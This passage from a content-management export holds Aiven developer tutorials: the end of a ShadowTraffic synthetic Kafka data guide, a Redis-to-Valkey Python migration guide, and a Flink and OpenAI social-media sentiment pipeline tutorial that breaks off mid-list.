} ],\n            [ \"0 16-19 * * *\", { \"_gen\": \"normalDistribution\", \"mean\": 90, \"sd\": 12 } ],\n            [ \"0 20-23 * * *\", { \"_gen\": \"normalDistribution\", \"mean\": 50, \"sd\": 8 } ],\n            [ \"0 0-5 * * *\", { \"_gen\": \"normalDistribution\", \"mean\": 40, \"sd\": 5 } ]\n          ],\n          \"defaultValue\": { \"_gen\": \"normalDistribution\", \"mean\": 60, \"sd\": 5 }\n        },\n```\n\nAdditionally, we can limit how frequently events are generated by using the ``throttleMs`` parameter, which in this case ensures the generator produces an event no more than specified number of milliseconds:\n\n```json\n \"throttleMs\": {\n          \"_gen\": \"intervals\",\n          \"intervals\": [\n            [ \"*/5 * * * *\", 50 ],\n            [ \"*/2 * * * *\", 1000 ]\n          ],\n          \"defaultValue\": 4000\n        }\n```\n\nAltogether, the configuration file looks like this:\n\n```json\n{\n  \"generators\": [\n    {\n      \"topic\": \"airQualityReadings\",\n      \"key\": {\n        \"sensorId\": { \"_gen\": \"uuid\" }\n      },\n      \"value\": {\n        \"pm25\": {\n          \"_gen\": \"normalDistribution\",\n          \"mean\": 60,\n          \"sd\": 5\n        },\n        \"timestamp\": { \"_gen\": \"now\" }\n      },\n      \"localConfigs\": {\n        \"pm25\": {\n          \"_gen\": \"intervals\",\n          \"intervals\": [\n            [ \"0 6-9 * * *\", { \"_gen\": \"normalDistribution\", \"mean\": 100, \"sd\": 15 } ],\n            [ \"0 10-15 * * *\", { \"_gen\": \"normalDistribution\", \"mean\": 60, \"sd\": 10 } ],\n            [ \"0 16-19 * * *\", { \"_gen\": \"normalDistribution\", \"mean\": 90, \"sd\": 12 } ],\n            [ \"0 20-23 * * *\", { \"_gen\": \"normalDistribution\", \"mean\": 50, \"sd\": 8 } ],\n            [ \"0 0-5 * * *\", { \"_gen\": \"normalDistribution\", \"mean\": 40, \"sd\": 5 } ]\n          ],\n          \"defaultValue\": { \"_gen\": \"normalDistribution\", \"mean\": 60, \"sd\": 5 }\n        },\n        \"throttleMs\": {\n          \"_gen\": \"intervals\",\n          \"intervals\": [\n            [ \"*/5 * * * *\", 50 ],\n            [ \"*/2 * * * *\", 1000 ]\n          ],\n          \"defaultValue\": 4000\n        }\n      }\n    }\n  ],\n  \"connections\": {\n    \"dev-kafka\": {\n      \"kind\": \"kafka\",\n      \"producerConfigs\": {\n        \"bootstrap.servers\": \"YOUR-KAFKRA-URI\",\n        \"ssl.truststore.location\": \"/ssl/client.truststore.jks\",\n        \"ssl.truststore.type\": \"JKS\",\n        \"ssl.truststore.password\": \"YOUR-TRUSTSTORE-PASSWORD\",\n        \"ssl.keystore.location\": \"/ssl/client.keystore.p12\",\n        \"ssl.key.password\": \"YOUR-KEY-PASSWORD\",\n        \"ssl.keystore.password\": \"YOUR-KEYSTORE-PASSWORD\",\n        \"value.serializer\": \"io.shadowtraffic.kafka.serdes.JsonSerializer\",\n        \"key.serializer\": \"io.shadowtraffic.kafka.serdes.JsonSerializer\",\n        \"security.protocol\": \"SSL\"\n      }\n    }\n  }\n}\n```\n\nHere is the structure of the files we've created so far:\n![project_structure.png](https://cdn.sanity.io/images/sczeoy4w/production/4a7ef7fcb22bb8ea8a9f54875d7d3852660aa014-2416x854.png)\n\n## Step 5. Run ShadowTraffic generator\n\nNow it's time to run ShadowTraffic. From the folder where you’ve saved your files, run the following command:\n\n```shell\ndocker run --env-file license.env \\\n-v $(pwd)/ssl:/ssl \\\n-v $(pwd)/config.json:/home/config.json \\\nshadowtraffic/shadowtraffic:latest \\\n--config /home/config.json \n```\n\nThis command mounts your SSL files and configuration into the Docker container and starts ShadowTraffic.\n\nNow you can go back to your Apache Kafka topic to see the stream of data as it flows through — this is where your synthetic sensor readings come to life!\n![generated_data.png](https://cdn.sanity.io/images/sczeoy4w/production/011e7af7d6b902036dc3fa79b5fe74e7f2afb29f-2738x936.png)\n\n## Conclusions and next steps\n\nIn this tutorial, we've demonstrated how to use ShadowTraffic to generate synthetic data and stream it to an Aiven for Apache Kafka service. By simulating real-world data with configurable generators, you can test and develop AI models without relying on sensitive or costly datasets.\n\nNext, you can further explore ShadowTraffic’s advanced features and their usage with Aiven for Apache Kafka to incorporate this synthetic data into machine learning workflows.\n\nLearn more what you can do with Aiven and AI:\n- [Building a real-time AI pipeline for data analysis with Apache Flink® and OpenAI](https://aiven.io/developer/building-a-real-time-pipeline-for-data-analysis-with-gpt-models)\n- [Applying RAG pattern to navigate your knowledge store](https://aiven.io/developer/rag-bedrock-opensearch)\n- [When text meets image: a guide to OpenSearch® for multimodal search](https://aiven.io/developer/opensearch-multimodal-search)\n- [Find your perfect movie with ClickHouse®, vector search, Hugging Face API, and Next.js](https://aiven.io/developer/movie-recommender-clickhouse-huggingface-nextjs)\n- [TensorFlow, PostgreSQL®, PGVector \u0026 Next.js: building a movie recommender](https://aiven.io/developer/building-a-movie-recommender)\n- [Developing memory-rich AI systems with Valkey™, OpenSearch® and RAG](https://aiven.io/developer/developing-memory-rich-ai-systems-with-valkey-opensearch-and-rag)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2024-11-07T00:38:33.883Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2024-10-30T23:36:10.577Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Synthetic Data for AI with Aiven and ShadowTraffic","asset":{"_ref":"image-e9bd0300b1a4105692a4f809719ffb0f1f9ba66e-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/synthetic-data-for-ai-with-aiven-and-shadowtraffic"},"subtitle":"Generating artificial datasets that closely resemble real data without compromising sensitive information","tags":[{"_key":"a5277d12eab3","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"1b87aeb4ce88","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"}],"title":"Synthetic Data for AI with Aiven and ShadowTraffic"}
{"__i18n_lang":"en","_createdAt":"2024-06-25T14:12:34Z","_id":"663a52f1-7168-420b-8e9b-f0411145b262","_rev":"3N4tb0pjpPka8Q2ce9N6cI","_type":"devArticle","_updatedAt":"2024-10-23T15:19:40Z","body":"Earlier this year, the team behind Redis®* made the decision to change their license from BSD to a [proprietary license in combination with the SSPL v1](https://redis.io/blog/redis-adopts-dual-source-available-licensing/). While licensing changes can be confusing, one solution is to migrate to a new platform that meets your licensing preferences.\n\nMeet [Valkey™](https://valkey.io/), an open-source in memory data-store that was designed to be a drop-in replacement for Redis. The development team's goal is to make it easy to take your existing Redis implementation and replace it with Valkey without having to make a large amount of changes to configuration. Your biggest change will be using a Valkey-powered key:value store like the one provided by [Aiven for Valkey](https://aiven.io/valkey).\n\n![Valkey Service in the Aiven Console](https://cdn.sanity.io/images/sczeoy4w/production/e9714beb6e6e5b14082f4f1b2eef5281ccfdabab-3702x1322.png)\n\nFor Python developers we often use Redis in a transparent way. Like a task queue using [Celery](https://docs.celeryq.dev/en/stable/getting-started/introduction.html#what-s-a-task-queue) or a simple key:value cache for your web application to quickly retrieve information and save yourself from making unnecessary API calls. For these and many other use cases, you will not need to do much beyond install the `valkey` client and change your imports from `redis` to `valkey`.\n\nThat being said, we don’t know the plans for Redis after their licensing change so this guide will walk you through the steps of pointing your cache systems from Redis to Valkey. While this means we need to change a few more namespaces, Valkey has made it as simple as possible to make these changes quickly and confidently.\n\n## Install the Valkey Python package\n\nThe valkey Python package is available via PyPI and can be downloaded and installed using pip or any popular Python package manager.\n\n`pip install valkey`\n\nThe Valkey Python Package is a fork from the last open-source version of the redis Python package which means you can install `valkey[hiredis]` to use the compiled response parser from the hiredis package.\n\n## Importing and using the Valkey package\n\nFor convenience, if you were using Redis version 7.0 or lower, you only need to change your import and you can continue to use the Redis class which is still available in Valkey. To do so only replace the import from redis to from valkey. You will need to also change the path to your new Service URI. \n\nLook at how similar the redis.py connection is compared to the valkey connection is.\n\nHere is the Redis connection file.\n\n```python\n\nfrom redis import Redis\n\nredis_connection = Redis.from_url(\n    \"rediss://\u003cAIVEN_FOR_CACHING_SERVICE_URI\u003e\"\n    decode_responses=True,\n)\n```\n\nHere is the Valkey connection file.\n\n```py\nfrom valkey import Redis\n\n# change `rediss://` to `valkeys://`\n\nvalkey_connection = Redis.from_url(\n    \"valkeys://\u003cAIVEN_FOR_CACHING_SERVICE_URI\u003e\"\n    decode_responses=True,\n)\n```\n\nKeep in mind the developers of Valkey cannot ensure that newer versions of Redis will be implemented in the same manner and the two products may deviate in development. That is why it is recommended you use the `Valkey` object inside of the package instead. Everything from that point should be the same as the Redis class object from version 7. This means all your set, get, query, and all commands that were exposed to the Redis package will be identical.\n\n```python\n\u003e\u003e\u003e from valkey import Valkey\n\u003e\u003e\u003e valkey_connection = Valkey.from_url(\n    \"valkeys://\u003cAIVEN_FOR_CACHING_SERVICE_URI\u003e\" \n    decode_responses=True,\n)\n# You will still have access to all of the endpoints\n\u003e\u003e\u003e valkey.set(\"memstore\", \"valkey\") # same for hget/hset, etc\n\u003e\u003e\u003e valkey.get(\"memstore\")\n\"valkey\"\n```\n\n[Aiven for Valkey](https://aiven.io/valkey) is available across our many cloud providers and regions with backup and performance tiers to meet your needs. \n\nAnother Redis alternative supported by Valkey Python is [Aiven for Dragonfly](https://aiven.io/dragonfly) which supports for over 1TB of data per instance, processing over 500,000 requests per second, JSON and Vector Support for AI, compatibility with memcached, and more.\n","feature":{"_type":"featuredItem","active":false,"endDate":"2024-07-02T14:11:55.135Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"462f458eda6c","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"}],"publishedAt":"2024-06-26T14:06:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Migrating your Python Applications from Redis to Valkey","asset":{"_ref":"image-3c3443df5d00f587cf3201b9e078cac2560a593f-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/python-valkey-redis-migration"},"subtitle":"You can quickly update your Python applications with Valkey™, the drop-in Redis®* replacement. ","tags":[{"_key":"4c5a85bfad0e","_ref":"d066802f-72f8-49bf-93a7-3c4196a99892","_type":"tag"},{"_key":"48b4f18dedc0","_ref":"170e8cc3-b016-45ee-a9db-efec32d13a04","_type":"tag"},{"_key":"898d619e5501","_ref":"01148eca-64e7-46ba-a597-5df3e2a441b0","_type":"tag"}],"title":"Migrating your Python Applications from Redis®* to Valkey™"}
{"__i18n_lang":"en","_createdAt":"2024-06-10T15:21:02Z","_id":"da197f06-0086-41af-b8e9-4b7a1f21d2f1","_rev":"jEln45CgOQD4spzxfDqSBC","_type":"devArticle","_updatedAt":"2024-07-19T08:24:08Z","body":"In today's fast-paced world, getting real-time insights is essential for businesses, researchers, and analysts. This article will guide you step by step through the process of building a real-time data analysis pipeline using Apache Kafka and Apache Flink. While doing so we'll explore the key components needed to process and enrich each record, analyze the data and visualize the results.\n\nAdditionally, we'll explore the use of a large language model (LLM) for data enrichment. We'll highlight the benefits and drawbacks of this approach in contrast to using various specialised models.\n\n## What data will we use?\n\nOur data source will be social media records from Mastodon. Mastodon is a decentralized social media platform with convenient APIs and libraries for streaming records. Social media, with its diverse conversations and topics, becomes particularly interesting when aggregated and analyzed, making it the perfect basis for our playground.\n![Mastodon](https://cdn.sanity.io/images/sczeoy4w/production/2b57d1ecd7a48891c5e6546ca03b26b2c99d8df1-2314x914.png)\n\n## What analysis will we perform?\nWe'll ask the following questions for each individual message:\n\n- Does this record convey a positive, negative, or neutral sentiment?\n- Which category or topic does this message belong to?\n- Does the message contain any rude or inappropriate language?\n- Does the message contain sarcasm?\n- What is the language of the message?\n\nWith these data points, we can aggregate the data and examine correlations, such as the relationship between sentiment and categories or the link between a category and the likelihood of inappropriate language.\n\nTo make it easy to visualize these aggregations and correlations, we'll build a dashboard:\n![Example of OpenSearch dashboard](https://cdn.sanity.io/images/sczeoy4w/production/4a58dd451d982567fb355c9f2bbf4948d9995005-2782x1542.png)\n\n## What tech will we use?\nTo stream, process, analyze and visualize the data, we'll use several open-source technologies.\n\nFirst, we'll use Apache Kafka to handle the real-time data feed from Mastodon. For data processing, we'll rely on Apache Flink, a powerful stream-processing framework. Apache Flink will execute a data flow that sends requests to the OpenAI API to enrich the data. The enriched data will then be streamed into an Apache Kafka topic. Finally, we'll visualize the outcomes using OpenSearch®.\n\nOverall, our data pipeline will look like this:\n![Step by step plan for this tutorial](https://cdn.sanity.io/images/sczeoy4w/production/8704f6db2eb49dd856c8af6d6fbb5554fc9ce8a0-1726x976.png)\n\nLet's roll up our sleeves and dive in!\n\n## Setting up services\n\nIn this tutorial, we'll use the Aiven platform to simplify cloud data infrastructure management and integrations across the data services.\n\nIf you haven't registered with Aiven yet, go ahead and create an account. You'll also get additional credits to start your trial for free. \n\nOnce you have an account, start by [creating these services](https://aiven.io/docs/platform/howto/create_new_service):\n- Aiven for Apache Kafka\n- Aiven for OpenSearch\n- Aiven for Apache Flink\n\nTo process data with Flink, we'll use a Java ARchive (JAR). Custom JARs for Aiven for Apache Flink is a limited availability feature, please [contact us](mailto:sales@aiven.io). Find more [in the documentation](https://aiven.io/docs/products/flink/howto/create-jar-application).\n\nWhen creating the service, make sure to enable the usage of custom JARs:\n![Step by step plan for this tutorial](https://cdn.sanity.io/images/sczeoy4w/production/7686dfe50780c3dbc499b4506f0dc884f2e61c79-1670x358.png)\n\n## Streaming the data into Apache Kafka\nTo stream the data from Mastodon to Apache Kafka [use this github repository](https://github.com/Aiven-Labs/mastodon-cleaned-message-body-to-kafka).\nBy running the Apache Kafka producer code either locally on your laptop or in the cloud (for example, using EC2), the producer will send the public data from https://mastodon.social/public/ to an Apache Kafka topic.\n\n![Send data from mastodon to Apache Kafka](https://cdn.sanity.io/images/sczeoy4w/production/81ce278b4d374fff2f1db9b17532b42e2b6b24a5-3024x1690.png)\n\n## Processing the data with Aiven for Apache Flink and an LLM\nNow that the data is flowing into the Apache Kafka topic, it's time to add Apache Flink to our pipeline.\nApache Flink offers a layered API that provides various options for creating a data execution flow. To interact with the OpenAI API, send requests, and process responses, we'll use the Flink DataStream API, which allows us to write the program in Java.\n\nOnce you have created the Aiven for Apache Flink service, go to its landing page and click **Create data pipeline**:\n![Aiven for Apache Flink service](https://cdn.sanity.io/images/sczeoy4w/production/5ad74d032b7eae7b8eb9616d59d7852e41867708-2316x1366.png)\n![Create a new pipeline](https://cdn.sanity.io/images/sczeoy4w/production/f6e2f91ec622301501cea8b1058f5b019ab11f54-2430x816.png)\n\nSelect your Aiven for Apache Kafka service to connect to:\n![Connect to Apache Kafka](https://cdn.sanity.io/images/sczeoy4w/production/7a7e29a65512d592cac6b0c9c0e069483d109bd6-2812x1500.png)\n\nIt's time to [create a Flink Java application](https://aiven.io/docs/products/flink/howto/create-jar-application). Select **Applications** from the menu and click to create a new application. Choose JAR as the application type.\n\n![Create a new Flink application](https://cdn.sanity.io/images/sczeoy4w/production/7c6ee7d5ef822e22724dc85a58a246e3cea19214-2260x1124.png)\n\nYou don't see the JAR option? Make sure you enabled the usage of custom JARs during the service creation.\n\n### Navigating Apache Flink logs (optional)\n\nIn the following section, we'll be writing an Apache Flink program. Given the complexity, it's common for errors and typos to occur despite our best efforts. This is where logging proves invaluable, serving as a reliable ally during such situations.\n\nYou'll be able to access logging directly from the Logs section in your Aiven for Apache Flink service. However, for better convenience, you can also stream the logs into Aiven for OpenSearch (since we already created that service for our visualization, for the sake of this tutorial we can also reuse it for logs).\n\nTo send the logs into Aiven for OpenSearch, click \"Enable log integration\" and select your OpenSearch service.\n\n![Integrate logs with OpenSearch](https://cdn.sanity.io/images/sczeoy4w/production/bc3ad94173489184f06e3fcb30035d4367d6c634-2910x844.png)\n\nNow you can navigate to the dashboard of your OpenSearch service ([here](https://aiven.io/docs/products/opensearch/dashboards#get-started-with-aiven-for-opensearch-dashboards) you find more how to start using OpenSearch dashboards), where you can search, aggregate, filter by time, and perform other convenient operations with logs. For example, below is when I searched for specific payloads that were sent to OpenAI while debugging stubborn errors from OpenAI APIs. This capability can be incredibly useful for troubleshooting your Apache Flink application.\n\n![Check logs in OpenSearch](https://cdn.sanity.io/images/sczeoy4w/production/19c94a6a2dfe6a2e572c44f19f26f0c51b8accf2-2140x1530.png)\n\n\n### Creating Apache Flink job\n\nTime to write some code! You're welcome to use the complete code available in [the GitHub repository](https://github.com/Aiven-Labs/mastodon-openai-flink-analysis). Below we break down the code into manageable parts to better understand it.\n\nThe structure of a Flink program is quite straightforward and consists of several essential elements:\n\n1. Creating an execution environment. This is where we establish the environment in which our Flink job will run.\n2. Defining the data source. Specify where our program will get its data from.\n3. Setting the destination for transformed data. We determine where the processed data will be sent after transformations.\n4. Defining data transformation logic. This is where the magic happens! We instruct Flink on how to manipulate the incoming data to produce the desired output.\n5. Initiating program execution. Finally, we set the trigger to start the execution of the program.\n\nLet's break down each of these steps using our social media analysis example to understand the flow better.\n\n### Creating an execution environment\nWhen working with the DataStream API, we begin by establishing a streaming environment. This is the foundation for the streaming and processing operations. We create it using the ``StreamExecutionEnvironment`` class provided by Apache Flink. This step sets the stage for defining our data sources, specifying transformations, and orchestrating the streaming jobs. \n\n```java\nfinal StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment();\n```\n\n### Using external parameters\nOften we might need to inject some of the environment parameters during the deployment. For our code example we use a couple of external keys in our Flink code:\n- OpenAI key to call OpenAI API,\n- Aiven service integration id to get access to Apache Kafka credentials.\n\n\nWe'll see a bit later how to supply these values during the deployment, but for now within the code we presume the existence of these parameters:\n```java\nParameterTool parameters = ParameterTool.fromArgs(args);\n// integration key between Aiven for Apache Flink and Aiven for Apache Kafka\nString integrationId = parameters.getRequired(\"integration_id\");\n// openAIKey\nString openAIKey = parameters.getRequired(\"openAIKey\");\n```\n\n### Integrating the data source\nTo allow Apache Flink access the records from Apache Kafka we need to provide Apache Kafka credentials. These credentials, typically consisting of authentication details such as bootstrapServers, security protocols, etc. Here is how it is achieved through Aiven platform (read more about [Credential management for JAR applications](https://aiven.io/docs/products/flink/howto/manage-credentials-jars):\n\n```java\nString credentialsFilePath = System.getenv(\"AVN_CREDENTIALS_DIR\") + \"/\" + integrationId +\".json\";\n\nObjectMapper objectMapper = new ObjectMapper();\ntry (FileReader reader = new FileReader(credentialsFilePath)) {\n    JsonNode rootNode = objectMapper.readTree(new File(credentialsFilePath));\n\n    String bootstrapServers = rootNode.get(\"bootstrap_servers\").asText();\n    String securityProtocol = rootNode.get(\"security_protocol\").asText();\n```\n\nUsing the provided information about ``bootstrapServers`` and ``securityProtocol``, we proceed to create a data source. As our data is in ``String`` format, we utilize the ``StringDeserializer``. \nIt's also important to specify the name of the topic from which our data originates. In my case, the topic name is \"messages\".\n\n```java\nKafkaSource\u003cString\u003e source = KafkaSource.\u003cString\u003ebuilder()\n    .setProperty(\"bootstrap.servers\", bootstrapServers)\n    .setProperty(\"security.protocol\", securityProtocol)\n    .setDeserializer(KafkaRecordDeserializationSchema.valueOnly(StringDeserializer.class))\n    .setTopics(\"messages\")\n    .setGroupId(\"flink-consumer-group\")\n    .build();\n```\n\nWith this we crate a new data stream within the execution environment or Apache Flink.\n\n```java\n// Create Kafka Stream as a source\nDataStream\u003cString\u003e kafkaStream = env.fromSource(source, WatermarkStrategy.noWatermarks() ,\"Kafka Source\");\n\n```\nBefore specifying transformations for our data stream, let's determine where we want to send the processed data.\n\n### Setting the destination for transformed data\n\nJust as we defined the source for our data, we now establish a Kafka sink.\n\nMake sure that you specify correctly the name of the topic where you want to stream the results. [Create that topic](https://aiven.io/docs/products/kafka/howto/create-topic#:~:text=To%20create%20a%20topic%20using,a%20name%20for%20the%20topic.) if necessary.\n```java\n// Configure Kafka sink to processed-messages topic\nKafkaSink\u003cString\u003e porocessedSink = KafkaSink.\u003cString\u003ebuilder()\n        .setProperty(\"bootstrap.servers\", bootstrapServers)\n        .setProperty(\"security.protocol\", securityProtocol)\n        .setRecordSerializer(KafkaRecordSerializationSchema.builder()\n                .setTopic(\"processed-messages\")\n                .setValueSerializationSchema(new SimpleStringSchema())\n                .build()\n        )\n        .build();\n```\nWith both the source and destination established, it's time to define the necessary transformations for our data stream.\n\n## Using OpenAI as the analysis engine\nThere are various powerful models available for data analysis tasks such as sentiment analysis, categorization, and identifying inappropriate language. While we could use specialized models for each task, in this tutorial, we'll experiment using a single model: GPT-3.5 Turbo from OpenAI (you can explore other alternatives as well).\n\nThis approach allows us to consolidate multiple requests into one question. However, it also presents a challenge. While responses from specialized models are highly deterministic and have consistent formats (usually providing probabilities as numerical values), working with LLMs like GPT-3.5 Turbo introduces some unpredictability. LLMs tend to generate verbose responses, which can be challenging to parse and align across high volume of requests.\n\nWe'll see the implications later when we visualize the results. But for now, let me show a somewhat chaotic prompt that I ended up (after numerous iterations) sending to the OpenAI API. Feel free to improve and modify it:\n\n\n```java\nString userMessage = \"Your task is to process a social media message delimited by --- .\" +\n\"Process the message and give me this information divided by symbol ; Don't use spaces or other punctuations. Use only this order!\" +\n\"First is sentiment analysis. Specify only using one of the words POSITIVE, NEGATIVE, UNKNOWN, NEUTRAL. Spell words correctly. Don't use other words\" +\n\"Second, identify the language of the message: EN, RU, FR, UA, etc. Use UpperCase, if cannot define use UNKNOWN. Spell words correctly. \" +\n\"Third, is there sarcasm in the message. use only these options: HAS SARCASM, NO SARCASM. If cannot define use UNKNOWN. Don't use other words. Spell words correctly. \" +\n\"Fourth, closest category of the message: News, Politics, Entertainment, Sports, Technology, Health, Culture, Travel, Fashion, Beauty, Food. Don't use other words.\" +\n\"Fifth, if it contains any offensive, rude, inappropriate language, or sex language. Use these words: INAPPROPRIATE, APPROPRIATE. Spell words correctly. \" +\n\"For example:\" +\n\"- It is amazing my favourite sport team has won!, you should return POSITIVE;EN;NO SARCASM;Sports;APPROPRIATE\" +\n\"- I'm so angry about this new law!, you should return NEGATIVE;EN;NO SARCASM;Politics;APPROPRIATE\" +\n\"Answer with only a set of words in the right order described above, no additional description. Spell words correctly.\" +\n\"---\" +\ninput +\n\"---\";\n```\n\nYou might notice that I redundantly request the model to spell words correctly and not to use any alternative phrases. While you might think that the LLM is smart enough to understand this with less explanation, my experience proved it to be the opposite. When processing huge volumes of data, occasionally the model either ignores or forgets part of the prompt, or gets creative and does something that we specifically ask it not to do.\n\nBy redundantly specifying our requirements throughout the request, I achieved a bit better consistency (we'll see the results very soon!).\n\nThe combined request to OpenAI looks like this:\n\n```java\n// Construct the JSON object using Jackson\nObjectMapper mapper = new ObjectMapper();\nObjectNode payload = mapper.createObjectNode();\npayload.put(\"model\", \"gpt-3.5-turbo\");\n\nArrayNode messagesArray = mapper.createArrayNode();\n\nObjectNode systemMessage = mapper.createObjectNode();\nsystemMessage.put(\"role\", \"system\");\nsystemMessage.put(\"content\", \"You are an AI processing social media content. You need to process the messages. You spell English words correctly.\");\nmessagesArray.add(systemMessage);\n\nObjectNode userMessageObject = mapper.createObjectNode();\nuserMessageObject.put(\"role\", \"user\");\nuserMessageObject.put(\"content\", userMessage);\nmessagesArray.add(userMessageObject);\n\npayload.set(\"messages\", messagesArray);\n\nreturn mapper.writeValueAsString(payload);\n```\nYou can find to the complete method ``generatePrompt`` in [AiJob.java](https://github.com/Aiven-Labs/mastodon-openai-flink-analysis/blob/main/src/main/java/io/aiven/AiJob.java) )\n\nNext we add a method to parse the enriched section by splitting it into chunks: \n\n```java\npublic String transform() {\n    ObjectMapper dataMapper = new ObjectMapper();\n    System.out.println(\"this.intelligentOutput \" + this.intelligentOutput);\n    // Create an empty JSON object\n    ObjectNode result = dataMapper.createObjectNode();\n\n    // Add text properties to the JSON object\n    result.put(\"content\", this.content);\n    String[] values =  this.intelligentOutput.split(\";\");\n    if(values.length == 5) {\n        result.put(\"sentiment\", values[0]);\n        result.put(\"language\", values[1]);\n        result.put(\"sarcasm\", values[2]);\n        result.put(\"category\", values[3]);\n        result.put(\"appropriate language\", values[4]);\n    }\n\n    return result.toString();\n}\n\n```\n\nThe call to OpenAI API is done within AsyncHttpRequestFunction that implements AsyncFunction\u003cString, Message\u003e. See complete implementation at [AiJob.java](https://github.com/Aiven-Labs/mastodon-openai-flink-analysis/blob/main/src/main/java/io/aiven/AiJob.java).\n\n### Transforming the data\n\nTo create a processing stream and call ``AsyncHttpRequestFunction``, we use ``AsyncDataStream``. Here, we specify the source stream, the function to process the records, the timeout, and the capacity.\n\n```java\n// call AsyncHttpRequestFunction to process messages\nDataStream\u003cMessage\u003e resultDataStream = AsyncDataStream.unorderedWait(kafkaStream, new AsyncHttpRequestFunction(openAIKey), 10000, TimeUnit.MILLISECONDS, 100);\n\n```\n\nNext we apply the transformation to each of the records using the ``transform`` method and sink the result to the ``porocessedSink``.\n```java\n// For every processed message call transform function and send data to  Kafka sink topic\n    resultDataStream\n        .map(Message::transform)\n        .sinkTo(porocessedSink);\n\n```\n\n### Starting program execution\nOnce we have described the source, the sink, and the transformations, we can start the data flow.\n```java\nenv.execute(\"Kafka to Kafka Job\");\n```\n\n### Creating a deployment\nBuild your JAR file by running ``mvn clean package`` (feel free to clone [the complete repository](https://github.com/Aiven-Labs/mastodon-openai-flink-analysis)).\n\nIn the Flink application click **Upload the first version** and choose the created JAR file (you can find it in the *Target* folder next to the code).\n![Choose file to deploy](https://cdn.sanity.io/images/sczeoy4w/production/33e699b549e375fbe5a21b8d3fcc5842ea592a17-1750x1014.png)\n\nPress **Create Deployment** to open the deployment dialog:\n![Deploy JAR](https://cdn.sanity.io/images/sczeoy4w/production/ccd73dd28c25b2a504660034a411ec97918eb4db-1442x1496.png)\n\nHere you can leave all default parameters with an exception of *Program args*. In the section *Program args* we need to enter the parameters that the Java code expects, namely the OpenAI API key and the integration id. Integration id is needed to locate the credentials file. Follow [these instructions](https://aiven.io/docs/products/flink/howto/manage-credentials-jars) to get the integration id between your Aiven for Apache Kafka and Aiven for Apache Flink services, look at the usage of [this CLI command](https://aiven.io/docs/tools/cli/service/integration#avn_service_integration_list).\n\nOnce the parameters are set in. Click to deploy.\n\nThe records will be processed by Apache Flink and sent to the sink topic. Here is an example of a processed record:\n![Processed message](https://cdn.sanity.io/images/sczeoy4w/production/4bc6a30c8d1831b66f53b87941b280087e8dd23a-2346x1216.png)\n\n## Visualizing\nOpenSearch is an excellent tool for visualizing streaming data from an Apache Kafka topic and there is already an Apache Kafka connector available to integrate these two services.\n\nCheck for [the instructions on how to start using the sink connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/opensearch-sink). Alternatively look at [this tutorial](https://aiven.io/developer/mastodon-kafka-opensearch) which works with a similar example.\n\n![Create a connector](https://cdn.sanity.io/images/sczeoy4w/production/30701a6fd5169180c8496493eefa834b08361f1f-2862x1466.png)\n\n## Results and challenges\n\nIn the pursuit to optimize the prompt for the LLM, I underwent several iterations. Initially, the GPT model consistently produced misspellings, variations in letter casing, and other orthographic inconsistencies when generating outcomes. Here is a screenshot illustrating these challenges:\n\n![Problem with the LLM result](https://cdn.sanity.io/images/sczeoy4w/production/99d51708eadc6c00c30a432321fbaa7b637f931b-2602x1218.png)\n\nAfter implementing several iterations, the model outcome improved significantly. However, one persistent challenge remained: marking appropriate language usage. Apparently spelling of the words \"appropriate\" or \"inappropriate\" is in the same way challenging for the GPT model, as it is for humans. Notice the misspellings in the screenshot below:\n\n![Inappropriate language](https://cdn.sanity.io/images/sczeoy4w/production/9bc054c3ca2b4029e77d0fa94fc1264361874223-1482x1054.png)\n\nOverall, with the data we've generated, we can now look into various correlations. For instance, we can identify the most significant categories associated with messages of negative sentiment, as illustrated below:\n![Negative sentiment](https://cdn.sanity.io/images/sczeoy4w/production/9d1738b21faa7e788f10ebb5e93de5a7e9374249-2888x1020.png)\nConversely, the list of categories producing messages with positive sentiment shows interesting distinctions, as well as an overlap with the negative sentiment:\n![Positive sentiment](https://cdn.sanity.io/images/sczeoy4w/production/e92953fb1caf9f15ef0391b443acae114c53dd3f-2894x900.png)\n\nHere is the global distribution of sentiment analysis and the categories:\n![Categories and sentiments](https://cdn.sanity.io/images/sczeoy4w/production/c6cae91800dfbcd9fc467a6d7a9c92e0c09357b5-2910x918.png)\n\nCategories of the messages as defined by LLM:\n![Categories](https://cdn.sanity.io/images/sczeoy4w/production/36d0898467a1b1f8ab6b8669523db3642573a838-1452x902.png)\nIt's worth noting that the model occasionally diverged from the provided category list, offering its own creative options. Despite this, for the sake of simplicity and efficiency, I opted to proceed without complicating the prompt further. \n\n# Conclusion and next steps\nIn this article, we explored data analysis using OpenAI LLM alongside data streaming technologies like Apache Kafka and Apache Flink. While the usage of an LLM model presents an appealing option for replacing multiple specialized models, unfortunately, its unpredictable behavior adds complexity to writing prompts and parsing responses.\n\nIf you're interested in other materials about Apache Kafka and Apache Flink, be sure to check out:\n- [Apache Kafka® as source and sink with Apache Flink® to process streaming data](https://aiven.io/developer/kafka-source-sink-flink-integration)\n- [Stream Mastodon data to Apache Kafka® using NodeJS and TypeScript](https://aiven.io/developer/mastodon-kafka-js)\n\nIf you're curious to learn more things you can do with Aiven and AI look at:\n- [Applying RAG pattern to navigate your knowledge store](https://aiven.io/developer/rag-bedrock-opensearch)\n- [When text meets image: a guide to OpenSearch® for multimodal search](https://aiven.io/developer/opensearch-multimodal-search)\n- [Find your perfect movie with ClickHouse®, vector search, Hugging Face API, and Next.js](https://aiven.io/developer/movie-recommender-clickhouse-huggingface-nextjs)\n- [TensorFlow, PostgreSQL®, PGVector \u0026 Next.js: building a movie 